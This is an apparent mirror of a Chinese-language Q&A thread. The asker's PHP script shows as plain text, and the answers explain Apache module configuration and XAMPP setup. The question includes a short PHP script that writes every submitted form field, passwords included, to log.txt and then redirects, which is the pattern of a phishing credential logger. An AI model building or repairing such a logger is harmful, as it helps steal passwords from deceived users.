为什么它将php显示为文本?

时间:2013-11-05 06:43:51

标签: php html

我知道这个问题已被提出,但我真的不明白任何答案。 我不太了解php我只想将我的html网站连接到一个php文件,将所有密码保存到文本文件中。 但是,当我输入一个随机密码,它指示我进入php文件,它只是浏览器上的源代码。 我怀疑地有php instaled(在我的电脑上,我仍然在我的电脑上运行它因为我将它上传到服务器) 这是php的源代码:

<?php
header ('Location: secret :) ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value)
 {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

2 个答案:

答案 0 :(得分:1)

您需要在Web服务器的配置文件中添加php模块

如果您在Windows上使用Apache HTTP服务器,请打开httpd.conf并添加以下行

# 
LoadModule php5_module "c:/php/php5apache2.dll"
AddHandler application/x-httpd-php .php

# configure the path to php.ini
PHPIniDir "C:/php"

阅读更多关于在Windows上安装PHP的here

对于Linux,请添加此行

LoadModule php5_module <path_to_php>/libphp5.so

确保设置libphp5.so文件

的正确路径

答案 1 :(得分:0)

你觉得你安装了php,但它似乎没有为你的系统正确设置。而不是直接下载PHP我建议初学者使用安装包,如xampp。这代表:   - (x)交叉兼容 - (a)pache - (m)y SQL - (p)hp - (p)erl 通过将所有这些包含在包中或意味着您可以使用完整服务器快速入门,并且可以使用数据库和/或apaches功能。

安装软件包后,请确保正确定向页面。

  • 首先需要将文件保存在正确的文件夹中;这通常是你的包文件夹中的htdocs或www
  • 其次,您需要启动服务器。对于xampp,为此提供了一个控制面板。对于纯php的内置服务器,请使用命令lune
  • 在地址栏中输入正确的位置。您需要使用localhost(或127.0.0.1),而不是键入固定的计算机地址。这将使用您的本地服务器加载页面